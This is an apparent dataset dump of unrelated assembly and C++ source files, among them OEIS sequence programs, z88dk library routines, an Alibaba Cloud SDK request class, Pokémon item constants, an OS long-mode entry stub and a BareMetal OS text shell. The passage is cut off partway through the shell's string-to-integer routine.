text stringlengths 1 1.05M |
|---|
; A179023: a(n) = n(F(n+2) - 1) where F(n) is defined by A000045.
; 0,1,4,12,28,60,120,231,432,792,1430,2552,4512,7917,13804,23940,41328,71060,121752,207955,354200,601776,1020074,1725552,2913408,4910425,8263060,13884156,23297092,39041772,65349240,109261887,182492352
mov $2,$0
lpb $2
add $3,$4
add $4,$0
mov $0,$3
add $1,$4
sub $2,1
mov $3,0
lpe
|
; A206420: Fibonacci sequence beginning 11, 8.
; 11,8,19,27,46,73,119,192,311,503,814,1317,2131,3448,5579,9027,14606,23633,38239,61872,100111,161983,262094,424077,686171,1110248,1796419,2906667,4703086,7609753,12312839,19922592,32235431,52158023,84393454,136551477,220944931,357496408,578441339,935937747,1514379086,2450316833,3964695919,6415012752,10379708671,16794721423,27174430094,43969151517,71143581611,115112733128,186256314739,301369047867,487625362606,788994410473,1276619773079,2065614183552,3342233956631,5407848140183,8750082096814,14157930236997,22908012333811,37065942570808,59973954904619,97039897475427,157013852380046,254053749855473,411067602235519,665121352090992,1076188954326511,1741310306417503,2817499260744014,4558809567161517,7376308827905531
mov $1,5
mov $3,2
lpb $0
sub $0,1
add $1,4
add $3,4
add $2,$3
sub $2,4
mov $3,$1
mov $1,$2
trn $4,3
add $4,2
add $2,$4
lpe
add $1,6
|
; A017581: a(n) = 12*n + 5.
; 5,17,29,41,53,65,77,89,101,113,125,137,149,161,173,185,197,209,221,233,245,257,269,281,293,305,317,329,341,353,365,377,389,401,413,425,437,449,461,473,485,497,509,521,533,545,557,569,581,593,605,617,629,641,653,665,677,689,701,713,725,737,749,761,773,785,797,809,821,833,845,857,869,881,893,905,917,929,941,953,965,977,989,1001,1013,1025,1037,1049,1061,1073,1085,1097,1109,1121,1133,1145,1157,1169,1181,1193
mul $0,12
add $0,5
|
SECTION code_clib
SECTION code_fp_am9511
PUBLIC mlib2d
; convert am9511 float to sdcc_float
; suprise, they're the same thing!
;
; enter : DEHL' = am9511 float
;
; exit : DEHL = sdcc_float
; (exx set is swapped)
;
.mlib2d
exx
ret
|
/*
* Copyright 2009-2017 Alibaba Cloud All rights reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include <alibabacloud/r-kvstore/model/DescribeSlowLogRecordsRequest.h>
using AlibabaCloud::R_kvstore::Model::DescribeSlowLogRecordsRequest;
DescribeSlowLogRecordsRequest::DescribeSlowLogRecordsRequest() :
RpcServiceRequest("r-kvstore", "2015-01-01", "DescribeSlowLogRecords")
{
setMethod(HttpRequest::Method::Post);
}
DescribeSlowLogRecordsRequest::~DescribeSlowLogRecordsRequest()
{}
long DescribeSlowLogRecordsRequest::getResourceOwnerId()const
{
return resourceOwnerId_;
}
void DescribeSlowLogRecordsRequest::setResourceOwnerId(long resourceOwnerId)
{
resourceOwnerId_ = resourceOwnerId;
setParameter("ResourceOwnerId", std::to_string(resourceOwnerId));
}
std::string DescribeSlowLogRecordsRequest::getStartTime()const
{
return startTime_;
}
void DescribeSlowLogRecordsRequest::setStartTime(const std::string& startTime)
{
startTime_ = startTime;
setParameter("StartTime", startTime);
}
int DescribeSlowLogRecordsRequest::getPageNumber()const
{
return pageNumber_;
}
void DescribeSlowLogRecordsRequest::setPageNumber(int pageNumber)
{
pageNumber_ = pageNumber;
setParameter("PageNumber", std::to_string(pageNumber));
}
std::string DescribeSlowLogRecordsRequest::getAccessKeyId()const
{
return accessKeyId_;
}
void DescribeSlowLogRecordsRequest::setAccessKeyId(const std::string& accessKeyId)
{
accessKeyId_ = accessKeyId;
setParameter("AccessKeyId", accessKeyId);
}
std::string DescribeSlowLogRecordsRequest::getSecurityToken()const
{
return securityToken_;
}
void DescribeSlowLogRecordsRequest::setSecurityToken(const std::string& securityToken)
{
securityToken_ = securityToken;
setParameter("SecurityToken", securityToken);
}
int DescribeSlowLogRecordsRequest::getPageSize()const
{
return pageSize_;
}
void DescribeSlowLogRecordsRequest::setPageSize(int pageSize)
{
pageSize_ = pageSize;
setParameter("PageSize", std::to_string(pageSize));
}
std::string DescribeSlowLogRecordsRequest::getNodeId()const
{
return nodeId_;
}
void DescribeSlowLogRecordsRequest::setNodeId(const std::string& nodeId)
{
nodeId_ = nodeId;
setParameter("NodeId", nodeId);
}
long DescribeSlowLogRecordsRequest::getSQLId()const
{
return sQLId_;
}
void DescribeSlowLogRecordsRequest::setSQLId(long sQLId)
{
sQLId_ = sQLId;
setParameter("SQLId", std::to_string(sQLId));
}
std::string DescribeSlowLogRecordsRequest::getResourceOwnerAccount()const
{
return resourceOwnerAccount_;
}
void DescribeSlowLogRecordsRequest::setResourceOwnerAccount(const std::string& resourceOwnerAccount)
{
resourceOwnerAccount_ = resourceOwnerAccount;
setParameter("ResourceOwnerAccount", resourceOwnerAccount);
}
std::string DescribeSlowLogRecordsRequest::getOwnerAccount()const
{
return ownerAccount_;
}
void DescribeSlowLogRecordsRequest::setOwnerAccount(const std::string& ownerAccount)
{
ownerAccount_ = ownerAccount;
setParameter("OwnerAccount", ownerAccount);
}
std::string DescribeSlowLogRecordsRequest::getQueryKeyword()const
{
return queryKeyword_;
}
void DescribeSlowLogRecordsRequest::setQueryKeyword(const std::string& queryKeyword)
{
queryKeyword_ = queryKeyword;
setParameter("QueryKeyword", queryKeyword);
}
std::string DescribeSlowLogRecordsRequest::getEndTime()const
{
return endTime_;
}
void DescribeSlowLogRecordsRequest::setEndTime(const std::string& endTime)
{
endTime_ = endTime;
setParameter("EndTime", endTime);
}
std::string DescribeSlowLogRecordsRequest::getOrderBy()const
{
return orderBy_;
}
void DescribeSlowLogRecordsRequest::setOrderBy(const std::string& orderBy)
{
orderBy_ = orderBy;
setParameter("OrderBy", orderBy);
}
long DescribeSlowLogRecordsRequest::getOwnerId()const
{
return ownerId_;
}
void DescribeSlowLogRecordsRequest::setOwnerId(long ownerId)
{
ownerId_ = ownerId;
setParameter("OwnerId", std::to_string(ownerId));
}
std::string DescribeSlowLogRecordsRequest::getSlowLogRecordType()const
{
return slowLogRecordType_;
}
void DescribeSlowLogRecordsRequest::setSlowLogRecordType(const std::string& slowLogRecordType)
{
slowLogRecordType_ = slowLogRecordType;
setParameter("SlowLogRecordType", slowLogRecordType);
}
std::string DescribeSlowLogRecordsRequest::getInstanceId()const
{
return instanceId_;
}
void DescribeSlowLogRecordsRequest::setInstanceId(const std::string& instanceId)
{
instanceId_ = instanceId;
setParameter("InstanceId", instanceId);
}
std::string DescribeSlowLogRecordsRequest::getDBName()const
{
return dBName_;
}
void DescribeSlowLogRecordsRequest::setDBName(const std::string& dBName)
{
dBName_ = dBName;
setParameter("DBName", dBName);
}
std::string DescribeSlowLogRecordsRequest::getOrderType()const
{
return orderType_;
}
void DescribeSlowLogRecordsRequest::setOrderType(const std::string& orderType)
{
orderType_ = orderType;
setParameter("OrderType", orderType);
}
|
; item_attributes struct members (see data/items/attributes.asm)
const_def
const ITEMATTR_PRICE
const ITEMATTR_PRICE_HI
const ITEMATTR_EFFECT
const ITEMATTR_PARAM
const ITEMATTR_PERMISSIONS
const ITEMATTR_POCKET
const ITEMATTR_HELP
ITEMATTR_STRUCT_LENGTH EQU const_value
; item types
const_def 1
const ITEM ; 1
const KEY_ITEM ; 2
const BALL ; 3
const TM_HM ; 4
; item menu types
; UseItem.dw indexes (see engine/items/pack.asm)
; UseRegisteredItem.SwitchTo indexes (see engine/overworld/select_menu.asm)
ITEMMENU_NOUSE EQU 0
ITEMMENU_CURRENT EQU 4
ITEMMENU_PARTY EQU 5
ITEMMENU_CLOSE EQU 6
; item actions
CANT_SELECT_F EQU 6
CANT_TOSS_F EQU 7
NO_LIMITS EQU 0
CANT_SELECT EQU 1 << CANT_SELECT_F
CANT_TOSS EQU 1 << CANT_TOSS_F
; pack pockets
const_def
const ITEM_POCKET ; 0
const BALL_POCKET ; 1
const KEY_ITEM_POCKET ; 2
const TM_HM_POCKET ; 3
NUM_POCKETS EQU const_value
MAX_ITEMS EQU 20
MAX_BALLS EQU 12
MAX_KEY_ITEMS EQU 25
MAX_PC_ITEMS EQU 50
; mail
MAIL_LINE_LENGTH EQU $10
MAIL_MSG_LENGTH EQU $20
MAILBOX_CAPACITY EQU 10
MAIL_STRUCT_LENGTH EQU $2f ; mailmsg struct
; held item effects
const_def
const HELD_NONE
const HELD_BERRY
const HELD_2
const HELD_LEFTOVERS
const HELD_4
const HELD_5
const HELD_RESTORE_PP
const HELD_7
const HELD_CLEANSE_TAG
const HELD_DIGGING_CLAW
const HELD_MYSTIC_TAG
const_def 10
const HELD_HEAL_POISON
const HELD_HEAL_FREEZE
const HELD_HEAL_BURN
const HELD_HEAL_SLEEP
const HELD_HEAL_PARALYZE
const HELD_HEAL_STATUS
const HELD_HEAL_CONFUSION
const_def 20
const HELD_PREVENT_POISON
const HELD_PREVENT_BURN
const HELD_PREVENT_FREEZE
const HELD_PREVENT_SLEEP
const HELD_PREVENT_PARALYZE
const HELD_PREVENT_CONFUSE
const_def 30
const HELD_30
const HELD_ATTACK_UP
const HELD_DEFENSE_UP
const HELD_SPEED_UP
const HELD_SP_ATTACK_UP
const HELD_SP_DEFENSE_UP
const HELD_ACCURACY_UP
const HELD_EVASION_UP
const HELD_38
const HELD_WISDOM_ORB
const HELD_SHARP_HORN
const HELD_FIRE_WING
const HELD_THUNDER_WING
const_def 40
const HELD_40
const HELD_41
const HELD_METAL_POWDER
const_def 50
const HELD_NORMAL_BOOST
const HELD_FIGHTING_BOOST
const HELD_FLYING_BOOST
const HELD_POISON_BOOST
const HELD_GROUND_BOOST
const HELD_ROCK_BOOST
const HELD_BUG_BOOST
const HELD_GHOST_BOOST
const HELD_FIRE_BOOST
const HELD_WATER_BOOST
const HELD_GRASS_BOOST
const HELD_ELECTRIC_BOOST
const HELD_PSYCHIC_BOOST
const HELD_ICE_BOOST
const HELD_DRAGON_BOOST
const HELD_DARK_BOOST
const HELD_STEEL_BOOST
const_def 70
const HELD_CATCH_CHANCE
const HELD_71
const HELD_ESCAPE
const HELD_CRITICAL_UP
const HELD_QUICK_CLAW
const HELD_FLINCH
const HELD_AMULET_COIN
const HELD_BRIGHTPOWDER
const HELD_78
const HELD_FOCUS_BAND
|
;;; Based on http://blog.phil-opp.com/rust-os/entering-longmode.html
;;; and http://blog.phil-opp.com/rust-os/setup-rust.html
;;;
;;; Once we've run all our 32-bit setup code, we jump here and enter 64-bit
;;; mode.
;;;
;;; To generate yellow 4-letter debug text values, you can run:
;;;
;;; "INT!".chars.map {|c| sprintf("2f%02x", c.ord) }.reverse.join
%include 'common.inc'
global long_mode_start
extern rust_main
section .text
bits 64
long_mode_start:
call setup_SSE
call rust_main
;; Display "OKAY".
mov rax, 0x2f592f412f4b2f4f
mov qword [SCREEN_BASE], rax
hlt
;;; Print "ERROR: " and an error code.
;;;
;;; a1: Error code.
error:
mov rbx, 0x4f4f4f524f524f45
mov [SCREEN_BASE], rbx
mov rbx, 0x4f204f204f3a4f52
mov [SCREEN_BASE + 8], rbx
mov byte [SCREEN_BASE + 0xe], al
hlt
;;; Check for SSE and enable it, or display an error.
;;;
;;; Copied from http://blog.phil-opp.com/rust-os/setup-rust.html, which got
;;; it from http://wiki.osdev.org/SSE#Checking_for_SSE.
setup_SSE:
;; Check for SSE.
mov rax, 0x1
cpuid
test edx, 1<<25
jz .no_SSE
;; Enable SSE.
mov rax, cr0
and ax, 0xFFFB ; Clear coprocessor emulation CR0.EM.
or ax, 0x2 ; Set coprocessor monitoring CR0.MP.
mov cr0, rax
mov rax, cr4
or ax, 3 << 9 ; Set CR4.OSFXSR and CR4.OSXMMEXCPT.
mov cr4, rax
ret
.no_SSE:
mov al, "S"
jmp error
|
; Z88 Small C+ Run time Library
; l_gchar variant to be used sometimes by the peephole optimizer
;
SECTION code_l_sccz80
PUBLIC l_gcharspsp
l_gcharspsp:
add hl,sp
inc hl
inc hl
ld a,(hl)
ld l,a
rlca
sbc a,a
ld h,a
ex (sp),hl
jp (hl)
|
;
; Copyright (C) 2021 by Intel Corporation
;
; Permission to use, copy, modify, and/or distribute this software for any
; purpose with or without fee is hereby granted.
;
; THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH
; REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY
; AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT,
; INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM
; LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR
; OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
; PERFORMANCE OF THIS SOFTWARE.
;
; .globl adj_load_masked_broadcast
; void adj_load_masked_broadcast(int64_t len, const int32_t *indices,
; const elem_struct_t *elems, double *out);
; rcx = len
; rdx = indices
; r8 = elems
; r9 = out
.code
adj_load_masked_broadcast PROC public
mov eax, 0f0h
kmovd k1, eax
; rcx = len
mov r10, r9 ; r10 = out
xor r9, r9
loop1:
movsxd r11, DWORD PTR[rdx+r9*4]
shl r11, 05h
vmovupd ymm0, [r8+r11*1]
movsxd r11, DWORD PTR [rdx+r9*4+04h]
shl r11, 05h
vbroadcastf64x4 zmm0{k1}, YMMWORD PTR [r8+r11*1]
mov r11d, r9d
shl r11d, 02h
add r9, 02h
movsxd r11, r11d
vmovups [r10+r11*8], zmm0
cmp r9, rcx
jl loop1
vzeroupper
ret
adj_load_masked_broadcast ENDP
end |
BITS 64
ORG 0x001E0000
%include 'api/libBareMetal.asm'
start:
; Grab video values from Pure64
mov rsi, 0x5080
xor eax, eax
lodsd ; VIDEO_BASE
mov [VideoBase], rax
xor eax, eax
xor ecx, ecx
lodsw ; VIDEO_X
mov [VideoX], ax ; ex: 1024
xor edx, edx
mov cl, [font_width]
div cx
mov [Screen_Cols], ax
lodsw ; VIDEO_Y
mov [VideoY], ax ; ex: 768
xor edx, edx
mov cl, [font_height]
div cx
mov [Screen_Rows], ax
lodsb ; VIDEO_DEPTH
mov [VideoDepth], al
; Calculate screen parameters
xor eax, eax
xor ecx, ecx
mov ax, [VideoX]
mov cx, [VideoY]
mul ecx
mov [Screen_Pixels], eax
xor ecx, ecx
mov cl, [VideoDepth]
shr cl, 3
mul ecx
mov [Screen_Bytes], eax
xor eax, eax
xor ecx, ecx
mov ax, [VideoX]
mov cl, [font_height]
mul cx
mov cl, [VideoDepth]
shr cl, 3
mul ecx
mov dword [Screen_Row_2], eax
; Set foreground/background color
mov eax, 0x00FFFFFF
mov [FG_Color], eax
mov eax, 0x00404040
mov [BG_Color], eax
call screen_clear
; Overwrite the kernel b_output function so output goes to the screen instead of the serial port
mov rax, output_chars
mov rdi, 0x100018
stosq
; Move cursor to bottom of screen
mov ax, [Screen_Rows]
dec ax
mov [Screen_Cursor_Row], ax
; Output system details
mov rsi, cpumsg
call output
xor eax, eax
mov rsi, 0x5012
lodsw
mov rdi, temp_string
mov rsi, rdi
call string_from_int
call output
mov rsi, coresmsg
call output
mov rsi, 0x5010
lodsw
mov rdi, temp_string
mov rsi, rdi
call string_from_int
call output
mov rsi, mhzmsg
call output
mov rsi, memmsg
call output
mov rsi, 0x5020
lodsd
mov rdi, temp_string
mov rsi, rdi
call string_from_int
call output
mov rsi, mibmsg
call output
mov rsi, closebracketmsg
call output
mov rsi, newline
call output
call output
poll:
mov rsi, prompt
call output
mov rdi, temp_string
mov rcx, 100
call input
; TODO clear leading/trailing spaces to sanitize input
mov rsi, command_exec
call string_compare
jc exec
mov rsi, command_dir
call string_compare
jc dir
mov rsi, command_ver
call string_compare
jc print_ver
mov rsi, command_load
call string_compare
jc load
mov rsi, command_help
call string_compare
jc help
cmp rcx, 0 ; If no characters were entered show prompt again
je poll
mov rsi, message_unknown
call output
jmp poll
exec:
call 0x200000
jmp poll
dir:
mov rsi, dirmsg
call output
mov rdi, temp_string
mov rsi, rdi
mov rax, 1
mov rcx, 1
mov rdx, 0
call [b_disk_read] ; Load the 4K BMFS file table
mov rax, 1
dir_next:
cmp byte [rsi], 0 ; 0 means we're at the end of the list
je dir_end
push rsi
mov rdi, temp_string1
mov rsi, rdi
call string_from_int
call output
mov rsi, tab
call output
add al, 1
pop rsi
call output ; Output file name
add rsi, 48
push rax
mov rax, [rsi]
push rsi
mov rsi, tab
call output
mov rdi, temp_string1
mov rsi, rdi
call string_from_int
call output
mov rsi, newline
call output
pop rsi
pop rax
add rsi, 16 ; Next entry
jmp dir_next
dir_end:
jmp poll
print_ver:
mov rsi, message_ver
call output
jmp poll
load:
mov rsi, message_load
call output
mov rdi, temp_string
mov rsi, rdi
mov rcx, 2
call input
call string_to_int
sub rax, 1 ; Files are indexed from 0
push rax ; Save the file #
; check value
; load file table
mov rdi, temp_string
mov rax, 1
mov rcx, 1
mov rdx, 0
call [b_disk_read]
; offset to file number and starting sector
pop rcx ; Restore the file #
shl rcx, 6
add rcx, 32 ; Offset to starting block # in BMFS file record
add rdi, rcx
mov rax, [rdi]
shl rax, 9 ; Shift left by 9 to convert 2M block to 4K sector
; size
; TODO
; load to memory, use RAX for starting sector
mov rdi, 0x200000
mov rcx, 1 ; Loading 4K for now
mov rdx, 0
call [b_disk_read]
jmp poll
help:
mov rsi, message_help
call output
jmp poll
; Strings
prompt: db '> ', 0
message_ver: db '1.0', 13, 0
message_load: db 'Enter file number: ', 0
message_unknown: db 'Unknown command', 13, 0
message_help: db 'Available commands:', 13, ' dir - Show programs currently on disk', 13, ' load - Load a program to memory (you will be prompted for the program number)', 13, ' exec - Run the program currently in memory', 13, ' ver - Show the system version', 13, 0
command_exec: db 'exec', 0
command_dir: db 'dir', 0
command_ver: db 'ver', 0
command_load: db 'load', 0
command_help: db 'help', 0
cpumsg: db '[cpu: ', 0
memmsg: db '] [mem: ', 0
networkmsg: db '] [net: ', 0
diskmsg: db '] [hdd: ', 0
mibmsg: db ' MiB', 0
mhzmsg: db ' MHz', 0
coresmsg: db ' x ', 0
namsg: db 'N/A', 0
closebracketmsg: db ']', 0
space: db ' ', 0
newline: db 13, 0
tab: db 9, 0
dirmsg: db '# Name Size', 13, '-----------------------------', 13, 0
; Variables
VideoBase: dq 0
Screen_Pixels: dd 0
Screen_Bytes: dd 0
Screen_Row_2: dd 0
FG_Color: dd 0
BG_Color: dd 0
VideoX: dw 0
VideoY: dw 0
Screen_Rows: dw 0
Screen_Cols: dw 0
Screen_Cursor_Row: dw 0
Screen_Cursor_Col: dw 0
VideoDepth: db 0
; -----------------------------------------------------------------------------
; input -- Take string from keyboard entry
; IN: RDI = location where string will be stored
; RCX = maximum number of characters to accept
; OUT: RCX = length of string that was received (NULL not counted)
; All other registers preserved
input:
push rdi
push rdx ; Counter to keep track of max accepted characters
push rax
mov rdx, rcx ; Max chars to accept
xor ecx, ecx ; Offset from start
input_more:
mov al, '_'
call output_char
call dec_cursor
call [b_input]
jnc input_halt ; No key entered... halt until an interrupt is received
cmp al, 0x1C ; If Enter key pressed, finish
je input_done
cmp al, 0x0E ; Backspace
je input_backspace
cmp al, 32 ; In ASCII range (32 - 126)?
jl input_more
cmp al, 126
jg input_more
cmp rcx, rdx ; Check if we have reached the max number of chars
je input_more ; Jump if we have (should beep as well)
stosb ; Store AL at RDI and increment RDI by 1
inc rcx ; Increment the counter
call output_char ; Display char
jmp input_more
input_backspace:
test rcx, rcx ; backspace at the beginning? get a new char
jz input_more
mov al, ' ' ; 0x20 is the character for a space
call output_char ; Write over the last typed character with the space
call dec_cursor ; Decrement the cursor again
call dec_cursor ; Decrement the cursor
dec rdi ; go back one in the string
mov byte [rdi], 0x00 ; NULL out the char
dec rcx ; decrement the counter by one
jmp input_more
input_halt:
hlt ; Halt until another keystroke is received
jmp input_more
input_done:
xor al, al
stosb ; We NULL terminate the string
mov al, ' '
call output_char
call output_newline
pop rax
pop rdx
pop rdi
ret
; -----------------------------------------------------------------------------
; -----------------------------------------------------------------------------
; inc_cursor -- Increment the cursor by one, scroll if needed
; IN: Nothing
; OUT: All registers preserved
inc_cursor:
push rax
inc word [Screen_Cursor_Col]
mov ax, [Screen_Cursor_Col]
cmp ax, [Screen_Cols]
jne inc_cursor_done
mov word [Screen_Cursor_Col], 0
inc word [Screen_Cursor_Row]
mov ax, [Screen_Cursor_Row]
cmp ax, [Screen_Rows]
jne inc_cursor_done
call screen_scroll
dec word [Screen_Cursor_Row]
inc_cursor_done:
pop rax
ret
; -----------------------------------------------------------------------------
; -----------------------------------------------------------------------------
; dec_cursor -- Decrement the cursor by one
; IN: Nothing
; OUT: All registers preserved
dec_cursor:
push rax
cmp word [Screen_Cursor_Col], 0
jne dec_cursor_done
dec word [Screen_Cursor_Row]
mov ax, [Screen_Cols]
mov word [Screen_Cursor_Col], ax
dec_cursor_done:
dec word [Screen_Cursor_Col]
pop rax
ret
; -----------------------------------------------------------------------------
; -----------------------------------------------------------------------------
; output_newline -- Reset cursor to start of next line and scroll if needed
; IN: Nothing
; OUT: All registers preserved
output_newline:
push rax
mov word [Screen_Cursor_Col], 0 ; Reset column to 0
mov ax, [Screen_Rows] ; Grab max rows on screen
dec ax ; and subtract 1
cmp ax, [Screen_Cursor_Row] ; Is the cursor already on the bottom row?
je output_newline_scroll ; If so, then scroll
inc word [Screen_Cursor_Row] ; If not, increment the cursor to next row
jmp output_newline_done
output_newline_scroll:
call screen_scroll
output_newline_done:
pop rax
ret
; -----------------------------------------------------------------------------
; -----------------------------------------------------------------------------
; output -- Displays text
; IN: RSI = message location (zero-terminated string)
; OUT: All registers preserved
output:
push rcx
call string_length
call output_chars
pop rcx
ret
; -----------------------------------------------------------------------------
; -----------------------------------------------------------------------------
; output_char -- Displays a char
; IN: AL = char to display
; OUT: All registers preserved
output_char:
push rdi
push rdx
push rcx
push rbx
push rax
call glyph
call inc_cursor
pop rax
pop rbx
pop rcx
pop rdx
pop rdi
ret
; -----------------------------------------------------------------------------
; -----------------------------------------------------------------------------
; pixel -- Put a pixel on the screen
; IN: EBX = Packed X & Y coordinates (YYYYXXXX)
; EAX = Pixel Details (AARRGGBB)
; OUT: All registers preserved
pixel:
push rdi
push rdx
push rcx
push rbx
push rax
push rax ; Save the pixel details
mov rax, rbx
shr eax, 16 ; Isolate Y co-ordinate
xor ecx, ecx
mov cx, [VideoX]
mul ecx ; Multiply Y by VideoX
and ebx, 0x0000FFFF ; Isolate X co-ordinate
add eax, ebx ; Add X
mov rdi, [VideoBase]
cmp byte [VideoDepth], 32
je pixel_32
pixel_24:
mov ecx, 3
mul ecx ; Multiply by 3 as each pixel is 3 bytes
add rdi, rax ; Add offset to pixel video memory
pop rax ; Restore pixel details
stosb
shr eax, 8
stosb
shr eax, 8
stosb
jmp pixel_done
pixel_32:
shl eax, 2 ; Quickly multiply by 4
add rdi, rax ; Add offset to pixel video memory
pop rax ; Restore pixel details
stosd
pixel_done:
pop rax
pop rbx
pop rcx
pop rdx
pop rdi
ret
; -----------------------------------------------------------------------------
; -----------------------------------------------------------------------------
; glyph_put -- Put a glyph on the screen at the cursor location
; IN: AL = char to display
; OUT: All registers preserved
glyph:
push rdi
push rsi
push rdx
push rcx
push rbx
push rax
and eax, 0x000000FF
sub rax, 0x20
mov ecx, 12 ; Font height
mul ecx
mov rsi, font_data
add rsi, rax ; add offset to correct glyph
; Calculate pixel co-ordinates for character
xor ebx, ebx
xor edx, edx
xor eax, eax
mov ax, [Screen_Cursor_Row]
mov cx, 12 ; Font height
mul cx
mov bx, ax
shl ebx, 16
xor edx, edx
xor eax, eax
mov ax, [Screen_Cursor_Col]
mov cx, 6 ; Font width
mul cx
mov bx, ax
xor eax, eax
xor ecx, ecx ; x counter
xor edx, edx ; y counter
glyph_nextline:
lodsb ; Load a line
glyph_nextpixel:
cmp ecx, 6 ; Font width
je glyph_bailout ; Glyph row complete
rol al, 1
bt ax, 0
jc glyph_pixel
push rax
mov eax, [BG_Color]
call pixel
pop rax
jmp glyph_skip
glyph_pixel:
push rax
mov eax, [FG_Color]
call pixel
pop rax
glyph_skip:
inc ebx
inc ecx
jmp glyph_nextpixel
glyph_bailout:
xor ecx, ecx
sub ebx, 6 ; column start
add ebx, 0x00010000 ; next row
inc edx
cmp edx, 12 ; Font height
jne glyph_nextline
glyph_done:
pop rax
pop rbx
pop rcx
pop rdx
pop rsi
pop rdi
ret
; -----------------------------------------------------------------------------
; -----------------------------------------------------------------------------
; output_chars -- Displays text
; IN: RSI = message location (an ASCII string, not zero-terminated)
; RCX = number of chars to print
; OUT: All registers preserved
output_chars:
push rdi
push rsi
push rcx
push rax
pushfq
cld ; Clear the direction flag.. we want to increment through the string
output_chars_nextchar:
jrcxz output_chars_done
dec rcx
lodsb ; Get char from string and store in AL
cmp al, 13 ; Check if there was a newline character in the string
je output_chars_newline ; If so then we print a new line
cmp al, 10 ; Check if there was a newline character in the string
je output_chars_newline ; If so then we print a new line
cmp al, 9
je output_chars_tab
call output_char
jmp output_chars_nextchar
output_chars_newline:
mov al, [rsi]
cmp al, 10
je output_chars_newline_skip_LF
call output_newline
jmp output_chars_nextchar
output_chars_newline_skip_LF:
test rcx, rcx
jz output_chars_newline_skip_LF_nosub
dec rcx
output_chars_newline_skip_LF_nosub:
inc rsi
call output_newline
jmp output_chars_nextchar
output_chars_tab:
push rcx
mov ax, [Screen_Cursor_Col] ; Grab the current cursor X value (ex 7)
mov cx, ax
add ax, 8 ; Add 8 (ex 15)
shr ax, 3 ; Clear lowest 3 bits (ex 8)
shl ax, 3 ; Bug? 'xor al, 7' doesn't work...
sub ax, cx ; (ex 8 - 7 = 1)
mov cx, ax
mov al, ' '
output_chars_tab_next:
call output_char
dec cx
jnz output_chars_tab_next
pop rcx
jmp output_chars_nextchar
output_chars_done:
popfq
pop rax
pop rcx
pop rsi
pop rdi
ret
; -----------------------------------------------------------------------------
; -----------------------------------------------------------------------------
; scroll_screen -- Scrolls the screen up by one line
; IN: Nothing
; OUT: All registers preserved
screen_scroll:
push rsi
push rdi
push rcx
push rax
pushfq
cld ; Clear the direction flag as we want to increment through memory
xor ecx, ecx
xor esi, esi
mov rdi, [VideoBase]
mov esi, [Screen_Row_2]
add rsi, rdi
mov ecx, [Screen_Bytes]
rep movsb
screen_scroll_done:
popfq
pop rax
pop rcx
pop rdi
pop rsi
ret
; -----------------------------------------------------------------------------
; -----------------------------------------------------------------------------
; screen_clear -- Clear the screen
; IN: AL
; OUT: All registers preserved
screen_clear:
push rdi
push rcx
push rax
pushfq
cld ; Clear the direction flag as we want to increment through memory
xor ecx, ecx
mov rdi, [VideoBase]
xor eax, eax
mov al, [BG_Color] ; TODO - needs to use the whole value
mov ecx, [Screen_Bytes]
add ecx, 100000 ; Fudge value for last line.. gross
rep stosb
screen_clear_done:
popfq
pop rax
pop rcx
pop rdi
ret
; -----------------------------------------------------------------------------
; -----------------------------------------------------------------------------
; string_length -- Return length of a string
; IN: RSI = string location
; OUT: RCX = length (not including the NULL terminator)
; All other registers preserved
string_length:
push rdi
push rax
xor ecx, ecx
xor eax, eax
mov rdi, rsi
not rcx
cld
repne scasb ; compare byte at RDI to value in AL
not rcx
dec rcx
pop rax
pop rdi
ret
; -----------------------------------------------------------------------------
; -----------------------------------------------------------------------------
; string_compare -- See if two strings match
; IN: RSI = string one
; RDI = string two
; OUT: Carry flag set if same
string_compare:
push rsi
push rdi
push rbx
push rax
string_compare_more:
mov al, [rsi] ; Store string contents
mov bl, [rdi]
test al, al ; End of first string?
jz string_compare_terminated
cmp al, bl
jne string_compare_not_same
inc rsi
inc rdi
jmp string_compare_more
string_compare_not_same:
pop rax
pop rbx
pop rdi
pop rsi
clc
ret
string_compare_terminated:
test bl, bl ; End of second string?
jnz string_compare_not_same
pop rax
pop rbx
pop rdi
pop rsi
stc
ret
; -----------------------------------------------------------------------------
; -----------------------------------------------------------------------------
; string_from_int -- Convert a binary integer into an string
; IN: RAX = binary integer
; RDI = location to store string
; OUT: RDI = points to end of string
; All other registers preserved
; Min return value is 0 and max return value is 18446744073709551615 so the
; string needs to be able to store at least 21 characters (20 for the digits
; and 1 for the string terminator).
; Adapted from http://www.cs.usfca.edu/~cruse/cs210s09/rax2uint.s
string_from_int:
push rdx
push rcx
push rbx
push rax
mov rbx, 10 ; base of the decimal system
xor ecx, ecx ; number of digits generated
string_from_int_next_divide:
xor edx, edx ; RAX extended to (RDX,RAX)
div rbx ; divide by the number-base
push rdx ; save remainder on the stack
inc rcx ; and count this remainder
test rax, rax ; was the quotient zero?
jnz string_from_int_next_divide ; no, do another division
string_from_int_next_digit:
pop rax ; else pop recent remainder
add al, '0' ; and convert to a numeral
stosb ; store to memory-buffer
loop string_from_int_next_digit ; again for other remainders
xor al, al
stosb ; Store the null terminator at the end of the string
pop rax
pop rbx
pop rcx
pop rdx
ret
; -----------------------------------------------------------------------------
; -----------------------------------------------------------------------------
; string_to_int -- Convert a string into a binary integer
; IN: RSI = location of string
; OUT: RAX = integer value
; All other registers preserved
; Adapted from http://www.cs.usfca.edu/~cruse/cs210s09/uint2rax.s
string_to_int:
push rsi
push rdx
push rcx
push rbx
xor eax, eax ; initialize accumulator
mov rbx, 10 ; decimal-system's radix
string_to_int_next_digit:
mov cl, [rsi] ; fetch next character
cmp cl, '0' ; char precedes '0'?
jb string_to_int_invalid ; yes, not a numeral
cmp cl, '9' ; char follows '9'?
ja string_to_int_invalid ; yes, not a numeral
